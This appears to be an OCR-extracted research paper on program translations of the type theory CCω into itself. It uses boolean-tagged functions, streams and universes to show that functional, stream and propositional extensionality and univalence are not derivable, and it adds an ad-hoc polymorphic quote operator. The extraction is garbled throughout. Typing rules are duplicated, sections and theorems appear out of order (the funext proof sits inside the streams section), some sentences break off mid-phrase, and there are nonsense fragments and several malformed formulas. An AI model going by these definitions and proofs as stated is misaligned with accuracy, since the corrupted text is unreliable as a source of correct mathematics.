This is typically seen when considering the decidability of conversion which may hold in the source theory, but is lost as soon as objects are interpreted semantically. Going the syntactical way is not without issues either, as the proofs are often very tedious, not modular, and keep repeating themselves between close flavours of type theory. In this paper, we advocate for a third alternative approach, based on a proof-as-program interpretation of type theory, which can somehow be seen as a reconciliation of the two aforementioned kinds of justification. "To justify a complex type theory, it suffices to compile it into a simpler—already justified—type theory." Modified Type | Name of the translation | New principles | Translation --- | --- | --- | --- Πx : A. B | Intensional functions (ext) | ¬ functional extensionality | [Πx : A. B] := ([Πx : [A]. [B]]) × B Intensional functions (int) | ¬ functional extensionality | [Πx : A. B] := ([Πx : [A]. [B] × B * | Ad-hoc intensional propositions | ¬ propositional extensionality | [*] := * × B □i | Ad-hoc intensional types | ¬ univalence | [□i] := □i × B Ad-hoc Polymorphism | (quote) à la Lisp | Built-in parametricity | [□i] := TYPEi (inductive-recursive type) parametricity | Built-in parametricity | Built-in parametricity | [□i] := stream □i Functional Reactive Programming | General Fixpoints | (depending on P) | more complicated, see [Jaber et al. 2016] **Figure 1.** Different Translations of CCω Essentially, we follow the model approach, but instead of targeting an alien system, we use type theory itself and can thus rely on the consistency of it, proved in a syntactical manner. Furthermore, contrarily to recent models of type theory into itself (Chapman 2009, Altenkirch and Kaprosi 2016), we do not describe the source theory as a deep embedding in the target one, but rather use a shallow embedding where all source proofs are translated into the target system in a way that preserves most of the structure. This is no more than the dependently typed counterpart of more standard logical translations seen as program translations, e.g. Lafont-Streicher-Reus CPS (Lafont et al. 1993) is the programming language equivalent of some variant of Gödel’s double-negation translation. This way, several properties from the target theory are inherited for free, as long as the program transformation preserves conversion of the calculus definitionally and that the empty type ⊥ (encoded here as ΠA : □i. A) is translated into some type equivalent to ⊥. This provides a very simple notion of model of type theory, accessible to a broader audience than specialists of category theory and set theory, which can be used to quickly answer if an axiom is derivable. As said, such translations can not be used directly to prove the consistency of the type theory under consideration, and rely on the consistency of the base type theory itself. But they can rather be used to study some properties of type theory enriched with new principles. This approach is in accordance with the recent work on forcing in type theory (Jaber et al. 2012, 2016) and parametricity in type theory (Bernardy et al. 2010, Bernardy and Moulin 2012), which can both be seen as particular cases of the general picture described in this paper. We provide several translations in this paper. They are based on the remark that negative type constructors (e.g., dependent product, coinductive types or universes) are underspecified in type theory—which leaves a lot of freedom on extra intensional specifications. Such translations can be used to derive a new type theory where (the negative part of) independence results can be proven, such as functional extensionality, propositional extensionality, univalence or the fact that bisimulation on a coinductive type may not coincide with equality (that will be called here “stream extensionality”). It has to be noticed that obtaining similar results using set-theoretic models is very tedious. Indeed, although most available models negate univalence, finding a model that negates functional extensionality or propositional extensionality is much more difficult as those principles are hardcoded in set theory. It becomes even harder when it comes to models integrating coinductive types, as such model are based upon the notion of final coalgebra and analysing the connection between bisimulation and equality in this setting is a very complex task. Type-theoretic translations can also be used to add new principles to the theory, which we illustrate by defining a version of a type theory with ad-hoc polymorphism (i.e., enriched with the (quote) operator of Lisp) that shows in particular that parametricity is not an implicit requirement of type theory. The systems we study are built upon CCω, a type theory featuring only dependent products and a denumerable hierarchy of universes □i. **Contributions.** There are a handful of program translations in type theory (starting from the subset model of Hofmann 1997), but they are usually not presented as such. This is why we believe that giving a proper account of them is worthwhile, as it permits to exhibit the nice properties of those models, most notably the preservation of computation. We also hope to popularize such a way of building models. In this paper, we provide the following contributions, which are summarized in Figure 1: - we provide a general approach to defining translations of CCω into itself by adding more intensional properties to negative types • we apply it to dependent products to show formally that functional extensionality is not derivable in intensional type theory • we apply it to coinductive types to show that bisimilarity of streams does not imply in general equality of streams • we apply it to the universe, by using a presentation à la Tarski, to show that univalence and even propositional extensionality are not derivable in CCω. • finally, we introduce a more complex interpretation of universes using induction-recursion to equip CCω with ad-hoc polymorphism and a quote operator Coq Formalization. The correctness of the first three program translations have been checked in the Coq proof assistant and have been instrumented as a Coq plugin. They have been developed using the 8.5 release of Coq (The Coq Development Team 2015) and are available at: https://github.com/CoqHott/Program-translations-CC-omega 2. Overview The systems we study in this paper are built upon CCω, a type theory featuring only dependent products, also known as II-types. It features a denumerable hierarchy of universes □i, and is a close relative to Luo’s ECC (Luo 1989). Definition 1 (Typing system). We define two statements mutually recursively as usual. The statement ⊢ Γ means that the environment Γ is well formed, while Γ ⊢ M : A means that the term M has type A in environment Γ. The typing rules are given in Figure 2. □ stands for any □i or the impredicative universe * when it is considered. Before exposing specific translations between type theories, we sketch the general schema followed by those translations. Given two type theories, the source theory S and the target theory T, we require that any term t in S is translated into a term [t] in T by induction over the syntax of t, and that there is an internal operation ι which coerces a translated type into a type of the target type theory. We write [A] for ι [A]. Note that the translated type may live in a bigger universe, we will use this fact in Section 5.2. The context is then translated pointwise as: \[ [\cdot] \] := • \[ [\Gamma, x : A] \] := [\Gamma], x : [A] The expected theorem is typing soundness which states that \[ [\Gamma] \vdash [M] : [A] \] whenever \( \Gamma \vdash M : A \). This requires in particular to show a form of computational soundness which says that \( [M] \equiv [N] \) whenever \( M \equiv N \) in order to interpret the conversion rule transparently as another conversion. Another expected property of the translation is consistency preservation, saying that the translation of \( \Pi X : \square_i, X \) is not inhabited. Typing soundness together with consistency preservation ensures consistency of the source theory provided consistency of the target theory. We argue that this approach is strictly sharper than the various notions of models from the literature. First, the translation is only defined by induction on raw syntax, i.e. it does not depend on any typing assumption and is purely local. Furthermore, preservation of conversion gives a first-class treatment of computation even in an untyped setting. Finally, the target is pure type theory, so that every assumption needed to make the soundness proofs go through has to be internal, meaning that one cannot rely on pushing back side-conditions in the metatheory. We call this approach monistic, in the sense that it only requires type theory as foundations. Although a few instances of models of type theory from the literature can be described in this formalism, most of them cannot, and even those which can are typically not presented this way and rely on an intermediate structure such as categories with families or sets. Examples of models which are syntactical but not program translations include the setoid models of (Hofmann 1997) and (Altenkirch 1999). Amongst the few members of our class of models, one can cite the subset type (Paulin-Mohring 1989) and parametricity translations (Bernardy and Lasson 2011), which are quite similar, as well as the call-by-name forcing translation (Jaber et al. 2016). The source theory S may contain more type constructors or logical properties than \( T \) as long as there is a term in \( T \) corresponding to the translation of those new type constructors or logical properties. In practice, \( S \) is often \( T + \text{axiom} \) and the translation ensures that the axiom can be assumed consistently. In this case, we also have a trivial translation from \( T \) to \( T + \text{axiom} \) (the injection) and hence the two theories are equiconsistent. Computational soundness can sometimes be refined so that we can deduce strong normalization for \( S \) from strong normalization for \( T \), although we will not describe this here. This is done by analyzing the preservation of reduction steps rather than mere conversion. In all the translations presented in this paper, we use the fact that inhabitants of negative types can only be partially observed from the outside. For instance, dependent functions can only be observed using application. In the same way, types can only be observed on a right-hand side of a typing judgment, which means that the translation only depends on \([A]\) and is oblivious to any additional data contained in \([A]\). Figure 1 summarizes how this general scheme can be applied to various extensions of \( CC_\omega \) to give a computational meaning to new principles available in those extensions. Those translations are presented in this paper, but for parametricity (already described in (Bernardy and Moulin 2012)) and for functional reactive programming and forcing which have already been described in (Jaber et al. 2012, 2016)—the former being a particular case of the latter because stream \( A \simeq \mathbb{N} \rightarrow A \) corresponds to forcing on the We do not use a more general form of dependent elimination to simplify the theoretical development in this paper. We describe the \( \text{CoQ} \) operator à la Lisp. In Section 6, we show how some translations can be composed to add different principles together. **Extensions.** Depending on the translation, we will use various extensions of the base \( \text{CC}_\omega \) system, and we will refer to them explicitly when needed. Those extensions are summarized in Figure 3. They feature an impredicative sort \( * \), as it exists in CoQ, that will be used to distinguish between propositional extensionality and univalence. To reason about equality in \( \text{CC}_\omega \), we use Martin-Löf identity type, that is typed in \( \Box \) (but it could be typed in \( * \) as in CoQ). We may need booleans and negative pairs, also known as \( \Sigma \) types, with projection \( \pi_1 \) and, in one case, surjective pairing. **Plan of the paper.** In Section 3, we give a first translation that acts on dependent products in order to realize the negation of functional extensionality. This shows for instance that this principle is not provable in \( \text{CC}_\omega \). In Section 4, we show that a similar translation can be done on streams in order to negate the principle of stream extensionality. In Section 5, we provide two translations, one that negates univalence and even propositional extensionality and one that introduces a notion of ad-hoc polymorphism in the form of a (quote) operator à la Lisp. In Section 6, we show how some translations have been formalized in the CoQ proof assistant and describe the CoQ plugins that implement those translations. ### 3. Intensional Functions In this section, we present a translation that augments every dependent function with a boolean value that cannot be seen externally as the only way to observe a function is by applying it, which forgets about the boolean value. In this translation, every function coming from a translated term of \( \text{CC}_\omega \) will be equipped with the value \( \text{true} \). We do not use a more general form of dependent elimination to simplify the theoretical development in this paper. --- **Definition 2.** The intensional function translation \( [\cdot]_f \) from \( \text{CC}_\omega \) to \( \text{CC}_\omega + \Sigma + \mathbb{B} \) is defined by induction on terms as follows. \[ [\varnothing]_f := \varnothing \] \[ [x]_f := x \] \[ [\lambda x : A. M]_f := (\lambda x : [A]_f. [M]_f, \text{true}) \] \[ [M N]_f := \pi_1 [M]_f [N]_f \] \[ [\Pi x : A. B]_f := (\Pi x : [A]_f. [B]_f) \times \mathbb{B} \] \[ [A]_f := [A]_f \] Note that \([A]_f := [A]_f\), which means that for this translation, \( \iota_f \) is the identity function, which is possible because \([\varnothing]_f := \varnothing\). **Proposition 3 (Substitution lemma).** For all terms \( M, N \) and any variable \( x \) we have \[ [M \{x := N\}]_f \equiv [M]_f \{x := [N]_f\} \] **Proof.** By induction on \( M \). Using the substitution lemma, it is not difficult to derive the two main properties of the translation. **Theorem 4 (Computational soundness).** If \( M \equiv N \) then \([M]_f \equiv [N]_f\). **Proof.** The only non-trivial case is the \( \beta \)-reduction rule, which is proved by the following rewriting steps. \[ [(\lambda x : A. M) N]_f := \pi_1 (\lambda x : [A]_f. [M]_f, \text{true}) [N]_f \] \[ \equiv (\lambda x : [A]_f. [M]_f) [N]_f \] \[ \equiv [M]_f \{x := [N]_f\} \] \[ \equiv [M \{x := N\}]_f \] All congruence rules are interpreted as-is. **Theorem 5 (Typing soundness).** If \( \Gamma \vdash M : A \) then \([\Gamma]_f \vdash [M]_f : [A]_f\). Impredicative Universe \[ A, B, M, N \ ::= \ldots \mid \ast \] \[ \vdash \Gamma \quad \Gamma \vdash \Delta : \square_i \quad \Gamma, x : A \vdash B : \ast \] \[ \Gamma \vdash \ast : \square_i \] \[ \Gamma \vdash \Pi x : A.B : \ast \] Negative Pairs \[ A, B, M, N \ ::= \ldots \mid \Sigma x : A.B \mid \pi_1 M \mid \pi_2 M \mid (M, N) \] \[ \Gamma \vdash A : \square_i \quad \Gamma, x : A \vdash B : \square_j \] \[ \Gamma \vdash A : \square_i \quad \Gamma \vdash B : \square_j \] \[ \Gamma \vdash \Sigma x : A.B : \square_{\max(i, j)} \] \[ \Gamma \vdash \Sigma x : A.B : \square_{\max(i, j)} \] \[ \Gamma \vdash \pi_1 M : A \] \[ \Gamma \vdash \pi_1 M : A \] \[ \Gamma \vdash \pi_2 M : B : \square_{\pi_1 M} \] \[ \Gamma \vdash \pi_2 M : B : \square_{\pi_1 M} \] \[ \pi_1 (M, N) \equiv M \quad \pi_2 (M, N) \equiv N \] \[ (\pi_1 M, \pi_2 M) \equiv M \] Booleans \[ A, B, M, N \ ::= \ldots \mid B \mid \text{true} \mid \text{false} \mid \text{if} M \text{ ret } P \text{ then } N_1 \text{ else } N_2 \] \[ \Gamma \vdash M : B \] \[ \Gamma, x : A, B \vdash \text{true} : B \] \[ \Gamma, x : A, B \vdash \text{false} : B \] \[ \vdash \Gamma \quad \Gamma \vdash \text{true} : B \quad \Gamma \vdash \text{false} : B \] \[ \Gamma \vdash \text{if } M \text{ ret } P \text{ then } N_1 \text{ else } N_2 : P M \] \[ \Gamma \vdash \text{if } M \text{ ret } P \text{ then } N_1 \text{ else } N_2 : P M \] \[ \Gamma \vdash \text{true} : B \quad \Gamma \vdash \text{false} : B \] \[ \vdash \Gamma \quad \Gamma \vdash \text{true} : B \quad \Gamma \vdash \text{false} : B \] \[ \text{if true ret } P \text{ then } N_1 \text{ else } N_2 \equiv N_1 \quad \text{if false ret } P \text{ then } N_1 \text{ else } N_2 \equiv N_2 \] Equality \[ A, B, M, N \ ::= \ldots \mid \text{refl}_x \mid x =_A y \mid J(P, e, t) \] \[ \Gamma \vdash A : \square_i \quad \Gamma \vdash t, t' : A \quad \Gamma \vdash t =_A t' : \square_i \] \[ \Gamma \vdash \text{refl}_t : t =_A t \] \[ \Gamma \vdash e : t =_A t' \quad \Gamma, y : A, q : t =_A t' \vdash P : \square_i \] \[ \Gamma \vdash u : P\{y := t\}{q := \text{refl}_t} : P\{y := t\}{q := e} \] \[ J(P, \text{refl}_t, u) \equiv u \] \[ J(P, \text{refl}_t, u) \equiv u \] Figure 3. Extensions to CCω Proof. By induction on the typing derivation. The only nontrivial cases are the conversion rule which is interpreted by the above theorem, and rules manipulating products which are easily proved. □ This translation can account for various extensions of CCω in a straightforward fashion. For instance, we can interpret inductive datatypes functorially, even though we will not describe it here. In the end of this section, we assume we have at our disposal equality. Theorem 6 (Consistency preservation). The translation preserves consistency. Proof. Indeed, we have \[ \Pi A : \square_i, A \] (I) := (Π A : \square_i, A) × B which is inhabited if and only if \( \Pi A : \square_i, A \) is. □ While being quite simple, this syntactical model already implements strictly more than just CCω. Thanks to the additional boolean worn by functions, it becomes possible to Thus a contradiction. Hence, we have a proof that $\Pi\alpha\beta\gamma\delta\epsilon$. We now enrich our source theory with coinductive datatypes, and by using a translation similar to the one of intensional functions, we obtain in a straightforward way a variant for intensional streams. Using intensional streams, it is possible to prove that stream extensionality (the fact that bisimilarity coincides with equality for streams) is not provable in $\text{CC}_\omega$. **Streams.** We assume that our source and target theory are equipped with a type of streams and a relation of bisimilarity, defined in Figure 5. Given a stream $M$, it is possible to get its first element (or head) by using the destructor $\text{hd}$ and to get its tail by using the destructor $\text{tl}$. The only way to create a stream is by coinduction using the constructor $\text{stream-corec}$ which produces, for any type $S$, a map from $S$ to stream $A$ given a map $S \rightarrow A$ and a map $S \rightarrow S$. Bisimilarity of streams is defined similarly. The translation for intensional streams works by adding a boolean value to every stream, throwing it away when accessing the head, and threading it when accessing the tail. **Definition 9.** The intensional stream translation $[\cdot]_s$, from $\text{CC}_\omega + \text{stream}$ into $\text{CC}_\omega + \Sigma + \mathbb{B} + \text{stream}$ is defined by induction on terms as defined in Figure 6 where unspecified cases are defined by commutation of the translation with the corresponding syntax constructor. The properties satisfied by $[\cdot]_s$ are the same as for intensional functions, the proof arguments being similar. **Theorem 10 (Typing soundness).** Assuming definitional surjective pairing in the target, if $\Gamma \vdash M : A$ then $[\Gamma]_s \vdash [M]_s : [A]_s$. *Proof.* Essentially the same as for the functional case. Conversion is once again interpreted as conversion, as the substitution lemma is trivial. We only need surjective pairing in order to show that $[\cdot]_s$ is well-typed in the interpretation of $\text{stream-corec}$, otherwise all rules are straightforward. **Remark 11.** The requirement of surjective pairing can be lifted by defining a new dedicated coinductive type in the target system. We choose instead to reuse the same notion of bisimilarity for the sake of conceptual simplicity at the expense of a stronger requirement on the target system. Even more directly than for dependent functions, falsity is translated into itself because the translation does not act on dependent products, so that we can derive consistency preservation directly. **Theorem 12 (Consistency preservation).** The translation preserves consistency. As coinductive types are negatives types, the only way to observe them is by using their destructors, which for the case of streams amounts to observing only the head and the tail of a stream (coinductively). Thus, intensional streams allow to \[ \text{stream-corec} S M_0 M_1 N_s := \] \[ \text{bisim-corec} (\lambda s_0 s_1 [S]_s (s_0, (\pi_2 [P_0]_s)) (s_1, (\pi_2 [P_1]_s))) \] \[ \text{bisim-corec} (\lambda s_0 s_1 [S]_s (s_0, (\pi_2 [P_0]_s)) (s_1, (\pi_2 [P_1]_s))) \] \[ \text{bisim-corec} (\lambda s_0 s_1 [S]_s (s_0, (\pi_2 [P_0]_s)) (s_1, (\pi_2 [P_1]_s))) \] \[ \text{bisim-corec} (\lambda s_0 s_1 [S]_s (s_0, (\pi_2 [P_0]_s)) (s_1, (\pi_2 [P_1]_s))) \] \[ \text{funext} := \Pi(A : \Box) (B : \Box) (f g : A \rightarrow B). \] \[ \Pi x : A. f x = B g x \rightarrow f = A-B g \] Then there is, in the target system, a closed proof of $[\text{funext} \rightarrow \bot]_s$. *Proof.* It is sufficient to instantiate in the premise $A$ and $B$ by some arbitrary type $X$ and $f$ and $g$ respectively by $(\lambda x : X. x. \text{true})$ and $(\lambda x : X. x. \text{false})$. This immediately leads to a proof that $\text{true} = \text{false}$ by injection and thus a contradiction. Almost every model of $\text{CC}_\omega$, if not all, validates $\text{funext}$, so it is consistent with $\text{CC}_\omega$. The previous theorem shows that it is not provable in $\text{CC}_\omega$. **Corollary 8.** $\text{funext}$ is independent from $\text{CC}_\omega$. It is possible to define a similar translation by adding the boolean value “inside” the function $[\Pi x : A. B]_{f} := \Pi x : [A]_{f} \times [B]_{f} \times \mathbb{B}$. This translation is very similar so we do not present it in detail. ### 4. Intensional Coinductive Types We now enrich our source theory with coinductive datatypes, and by using a translation similar to the one of intensional datatypes, we do not present it in detail. \[ A, B, M, N := \ldots \mid \text{stream } A \mid \text{hd } M \mid \text{tl } M \mid \text{stream} \text{corec } S M_0 M_1 N \\ \mid \text{bisim } A M N \mid \text{hd}_b M \mid \text{tl}_b M \mid \text{bisim} \text{corec } S M_0 M_1 P_0 P_1 N \] \[\Gamma \vdash S : \square_i \quad \Gamma \vdash M_0 : S \rightarrow A \quad \Gamma \vdash M_1 : S \rightarrow S \quad \Gamma \vdash N : S\] \[\Gamma \vdash \text{stream} \text{corec } S M_0 M_1 N : \text{stream } A\] \[\Gamma \vdash \text{bisim} \text{corec } S M_0 M_1 P_0 P_1 N : \text{bisim } A P_0 P_1\] where \(T_0 := \Pi(s_0 s_1 : \text{stream } A). S s_0 s_1 \rightarrow \text{hd } s_0 =_A \text{hd } s_1\) \[T_1 := \Pi(s_0 s_1 : \text{stream } A). S s_0 s_1 \rightarrow S(tl s_0)(tl s_1)\] \[\Gamma \vdash A : \square_i \quad \Gamma \vdash M : \text{stream } A \quad \Gamma \vdash N : \text{stream } A\] \[\Gamma \vdash \text{hd}_b M : \text{hd } N_1 =_A \text{hd } N_2 \quad \Gamma \vdash \text{tl}_b M : \text{bisim } A(tl N_1)(tl N_2)\] \[\text{hd} (\text{stream} \text{corec } S M_0 M_1 N) \equiv M_0 N \quad \text{tl} (\text{stream} \text{corec } S M_0 M_1 N) \equiv \text{stream} \text{corec } S M_0 M_1 (M_1 N)\] \[\text{hd}_b (\text{bisim} \text{corec } S M_0 M_1 P_0 P_1 N) \equiv M_0 P_0 P_1 N \quad \text{tl}_b (\text{bisim} \text{corec } S M_0 M_1 P_0 P_1 N) \equiv \text{bisim} \text{corec } S M_0 M_1 (\text{tl } P_0)(\text{tl } P_1) (M_1 P_0 P_1 N)\] --- **Figure 5.** Coinductive types 5. **Intensional Types** In this section, we exploit the underspecification of types in \(\text{CC}_\omega\) to give more content to types. Our first translation builds upon the \(\cdot \times \mathbb{B}\) trick we used in the previous sections, but our second translation is much more subtle as it allows to implement ad-hoc polymorphism in vanilla type theory. 5.1 **Ad-hoc intensional types** We define here a translation giving a very naive intensional content to types. Just as we did in the function case, we enrich every type with a boolean which is not observable in the source theory, except for intensional equality. **Definition 14.** The ad-hoc intensional type translation \([\cdot]_I\) from \(\text{CC}_\omega\) to \(\text{CC}_\omega + \Sigma + \mathbb{B}\) is defined by induction on terms as follows. \[ [\square]_I := \square_i \times \mathbb{B}, \text{true} \\ [x]_I := x \\ [\lambda x : A. M]_I := \lambda [x]_I : [M]_I \\ [M N]_I := [M]_I [N]_I \\ [\Pi x : A. B]_I := (\Pi x : [A]_I : [B]_I, \text{true}) \\ [A]_I := \pi_1 [A]_I \] As in previous sections, the translation verifies the substitution lemma and computational soundness, from which we derive: **Theorem 15 (Typing soundness).** If \(\Gamma \vdash M : A\) then \([\Gamma]_I \vdash [M]_I : [A]_I\). **Proof.** By induction on the typing derivation of \(\Gamma \vdash M : A\). The only interesting cases are the two rules for type constructors. 1. Case \(\square_i : \square_j\). Direct from the fact that \[(\square_i \times \mathbb{B}, \text{true}) : \square_j \times \mathbb{B}\] 2. Case \(\Pi x : A. B : \square_j\). Direct from the fact that \[(\Pi x : [A]_I : [B]_I, \text{true}) : \square_i \times \mathbb{B}\] Theorem 16 (Consistency preservation). The translation preserves consistency. Proof. This comes immediately from the fact that \[ [[\Pi A : \Box_i. A]] := \Pi A : \Box_i \times B. \pi_1 A \] which is inhabited if and only if \( \Pi A : \Box_i. A \) is \(\Box\). Proposition 17. The above translation can easily accomodate the presence of an impredicative universe \(\ast\) as long as there is one in the target system, by defining \[ \ast_i := (\ast \times B, \text{true}). \] The rules for an impredicative universe from Figure 3 are valid with this interpretation. More generally, the translation can be extended to any type former \(\Phi\) which is not a universe by defining \[ \Phi(M_1, \ldots, M_n)i := (\Phi([M_1], \ldots, [M_n]), \text{true}). \] In the remainder of this section, we assume that we have an equality and an empty type and their translations at hand. Theorem 18. We define propositional extensionality as: \[ \text{propext} := \Pi (A B : \ast), (A \rightarrow B) \rightarrow (B \rightarrow A) \rightarrow A \leftrightarrow B. \] There is in the target system a proof of \([\text{propext} \rightarrow \bot]_i\). Proof. Just as in the functional extensionality proof, it is sufficient to take \(A\) and \(B\) to be the same underlying proposition \(X\), but with a different boolean. \(\Box\) Using the validity of propositional extensionality in the set model (Werner 1997), we get the independence of propositional extensionality with \(CC_\omega\). In the same way, it is possible that the negation of univalence holds in the source theory. Using the validity of univalence in the simplicial model of (Kapulkin et al. 2012), we conclude that univalence is independent from \(CC_\omega\). 5.2 Ad-hoc polymorphism In this section, we push the concept of type intensionality into its utmost consequences, namely by showing that there exists a syntactic model of type theory interpreting a quoting operator on types. Such an operator allows to do case-analysis on the normal form of any type in the theory, which proves that ad-hoc polymorphism is actually compatible with usual type theory. Although this result looks surprising, the model is actually quite straightforward to obtain as soon as the target theory is expressive enough. We will assume here that our target theory features induction-recursion, and we will use it to define the type of codes (as in (Dybjer 2000)). Definition 19 (Codes). We define a family of inductive-recursive definitions \(\text{TYPE}_i\) and \(\text{Elt}_i\) where \(i\) ranges over \(\mathbb{N}\) as follows, using a suggestive syntax. Inductive \(\text{TYPE}_i : \Box_1 :=\) \[ \begin{array}{l} [\Pi \ast_i : \Pi A : \text{TYPE}_0. (\text{Elt}_0 A \rightarrow \text{TYPE}_0) \rightarrow \text{TYPE}_0 \\ \text{with } \text{Elt}_0 : \text{TYPE}_0 \rightarrow \Box_0 := \text{fun} \\ [\Pi \ast_i A B := \Pi x : \text{Elt}_0 A. \text{Elt}_0 (B x) \] \end{array}\] \[ \ldots \] Inductive \(\text{TYPE}_{i+1} : \Box_{i+2} :=\) \[ \begin{array}{l} [\Pi \ast_{i+1} : \Pi A : \text{TYPE}_i. (\text{Elt}_i A \rightarrow \text{TYPE}_{i+1}) \rightarrow \text{TYPE}_{i+1} \\ \text{with } \text{Elt}_{i+1} : \text{TYPE}_{i+1} \rightarrow \Box_{i+1} := \text{fun} \\ [\Pi \ast_{i+1} A B := \Pi x : \text{Elt}_i A. \text{Elt}_{i+1} (B x) \] \end{array}\] \[ \ldots \] The typing and reduction rules generated by these definitions are formally given in Figure 6. These inductive-recursive types respect the usual positivity conditions and thus do not endanger the consistency of the target system. There are several points to discuss about codes. First, the definition of codes makes a closed-world assumption on the type constructors from the source theory. Furthermore, as codes reflect faithfully the various operations at our disposal in the source theory, we actually need to hardwire the universe hierarchy in the inductive-recursive definitions by externally quantifying over the index \(i \in \mathbb{N}\). In order not to make the translation even more complex as it is, we simplify a bit the authorized type formers to prevent a combinatorial explosion. Most notably, the codes for product must be duplicated as many times as there are valid combinations of sorts for it. It is interesting to remark that the resulting model suffers from an expressivity limitation directly linked to the inductive-recursive construction, that is, it cannot interpret an impredicative universe. This would obviously entail a non-wellfounded loop in the definition of codes, because \(\ast : \Box_0\) but all quantifications targeting \(\ast\) would have to refer to every \(\text{TYPE}_i\) defined afterwards. In order to define the translation, we need to know the universe level at which a term is being typed at each inductive step. Therefore, we will use as a source system \(CC_{\omega}^\ast\), a variant of \(CC_{\omega}\) which is slightly less expressive but well stratified, defined in Figure 7. It would probably be possible to adapt the translation to the full-blown \(CC_{\omega}\) system, at the cost of a more involved translation. Essentially, the main difference is that we annotate both the sequent and the variables from the context with the level of their expected sort. We will omit the indices when they are uniquely defined from the context. Proposition 20. \(CC_{\omega}^\ast\) is a subsystem of \(CC_{\omega}\). Proof. It is indeed sufficient to erase all level annotations on colons to translate a well-typed \(CC_{\omega}^\ast\) term into a well-typed \(CC_{\omega}\) term. \(\Box\) A, B, M, N ::= \ldots \mid \text{TYPE}_i \mid \text{Elt}_i \mid \Pi_i \mid \text{TYPE}_{\text{rec}_i} \Gamma \vdash \text{TYPE}_i : \square_{i+1} \quad \Gamma \vdash \text{Elt}_i : \text{TYPE}_i \rightarrow \square_i \quad \Gamma \vdash U_i : \text{TYPE}_{i+1} \quad \Gamma \vdash \Pi_i : \Pi A : \text{TYPE}_i. (\text{Elt}_i A \rightarrow \text{TYPE}_i) \rightarrow \text{TYPE}_i \vdash \Gamma \Gamma \vdash \text{TYPE}_{\text{rec}_0} : \Pi P : \text{TYPE}_0 \rightarrow \square_j, P_{\Pi_0} \rightarrow \Pi A : \text{TYPE}_0, P A \vdash \Gamma \Gamma \vdash \text{TYPE}_{\text{rec}_{i+1}} : \Pi P : \text{TYPE}_{i+1} \rightarrow \square_j, P U_i \rightarrow P U_{\Pi_i+1} \rightarrow \ldots \rightarrow P U_{\Pi_{i+1}+1} \rightarrow P U_{\Pi_i} \rightarrow \Pi A : \text{TYPE}_{i+1}, P A where \begin{align*} P_{\Pi_0} & := \Pi (A : \text{TYPE}_0) (B : \text{Elt}_0 A \rightarrow \text{TYPE}_0), P A \rightarrow (\Pi x : \text{Elt}_0 A. P (B x)) \rightarrow P (\Pi_0 A B) \\ P_{\Pi_i} & := \Pi (A : \text{TYPE}_i) (B : \text{Elt}_j A \rightarrow \text{TYPE}_i), (\Pi x : \text{Elt}_j A. P (B x)) \rightarrow P (\Pi_i A B) \end{align*} \text{Elt}_i (\Pi_i A B) \text{Elt}_{i+1} U_i \text{TYPE}_{\text{rec}_0} P p_{\Pi_0} (\Pi_i A B) \text{TYPE}_{\text{rec}_{i+1}} P p_{i+1} p_{i+1} \ldots p_{i+1+1} U_i \text{TYPE}_{\text{rec}_{i+1}} P p_{i+1} p_{i+1} \ldots p_{i+1+1} (\Pi_i+1 A B) \text{TYPE}_{\text{rec}_{i+1}} P p_{i+1} p_{i+1} \ldots p_{i+1+1} (\Pi_i+1 A B) \Gamma, \Delta ::= \cdot | \Gamma, x ; A A, B, M, N ::= \square_i | x | M, N | \lambda x : j A. M | \Pi x : i A. B \vdash \Gamma \begin{align*} \Gamma \vdash \text{A}_{i+1} \square_i & \quad \Gamma \vdash x : j A \rightarrow B_{i+1} \square_i \quad j \leq i \\ \Gamma \vdash \Pi x : j A. B_{i+1} \square_i & \quad \Gamma \vdash M ; \Pi x : j A. B_{i+1} \square_i & \quad \Gamma \vdash N ; j A \quad \Gamma \vdash M ; j A \quad \Gamma \vdash A_{i+1} \square_i \\ \Gamma \vdash \lambda x : j A. M_{j+1} \Pi x : j A. B & \quad \Gamma \vdash M ; J \Pi x : j A. B \{ x := N \} & \quad \Gamma, x ; i A \rightarrow M ; j A \end{align*} (\lambda x : i A. M) N \equiv M \{ x := N \} \begin{align*} \square_i & := U_i \\ x & := x \\ \lambda x : j A. M & := \lambda x : [A]_{T_j} : [M]_{T_i} \\ [M, N]_{T_t} & := [M]_{T_j} [N]_{T_i} \\ \Pi x : j A. B & := \Pi_{i+1} [A]_{T_j} \lambda x : [A]_{T_{j-1}} [B]_{T_i} \\ [A]_{T_i} & := \text{Elt}_i [A]_{T_{i+1}} \\ [\cdot ]_{T_t} & := [\cdot ]_{T_j} \\ [\Gamma, x ; i A]_{T} & := [\Gamma]_{T_j} : x : [A]_{T_i} \end{align*} Figure 6. Codes Figure 7. Typing rules of CC\textsubscript{\omega}' Contrarily to previous translations, this translation needs to be indexed by the universe level. This is because the code for dependent products is not polymorphic in the universe level, which must thus be inserted explicitly during the translation. Therefore, the index is here to keep track of the current universe level. Definition 21. The ad-hoc polymorphism translation \([\cdot ]_{T_t}^{i \in \text{N}}\) from CC\textsubscript{\omega}' to CC\textsubscript{\omega} + TYPE\subscript{i \in \text{N}} is defined by induction on terms as follows. In general, \( p^j_i \) may not be defined so that we arbitrarily fix \( p^j_i := p^0_i \) whenever \( i < j \). Note that the context translation is not indexed, as the corresponding level is hardcoded in each variable from the context. **Proposition 22** (Substitution lemma). For all terms \( M, N \) and any variable \( x \) s.t. \( \Gamma, x ; A, \Delta \vdash M : i, B \), we have \[ [M\{x := N\}]_{T_i} \equiv [M]_{T_i} \{x := [N]_{T_i}\} \] **Proof.** By induction on the typing derivation of \( M \). Actually, we need a much weaker condition than typing on \( M \) for the theorem to hold, which amounts to checking that variables are used at the correct universe level in the axiom case. \( \square \) **Theorem 23** (Typing soundness). If \( \Gamma \vdash M : i, A \) then \( [\Gamma]_T \vdash [M]_{T_i} : [A]_{T_i} \). **Proof.** By induction on the typing derivation of \( M \). Conversion is interpreted by conversion itself, thanks to the substitution lemma, and the other rules are straightforward. \( \square \) **Remark 24.** When the source theory only features \( \Pi \)-types and universes, it is not clear whether the translation preserves consistency. Indeed, we have \[ [\Pi A ; i, A]_{T_i} \equiv \Pi A : \text{Type}_i, \text{Elt}_i, A \] but then there is no obvious closed code \( A \) made out of \( \Pi \)-types and universes to give to a term of the above type in order to recover an inconsistency. For instance, trying to feed it with the code of the impredicative encoding of falsity simply gives back the same type. This phenomenon does not occur as soon as the source theory features an empty type \( \bot \), reflected in the codes as \( F_i \), s.t. \( \text{Elt}_i F_i \equiv \bot \). In this case, we can instantiate a proof of the above type with \( F_i \) and we obtain immediately a proof of the empty type. **Theorem 25** (Consistency preservation). If the source theory features an empty type \( \bot \), the ad-hoc polymorphic translation preserves consistency. 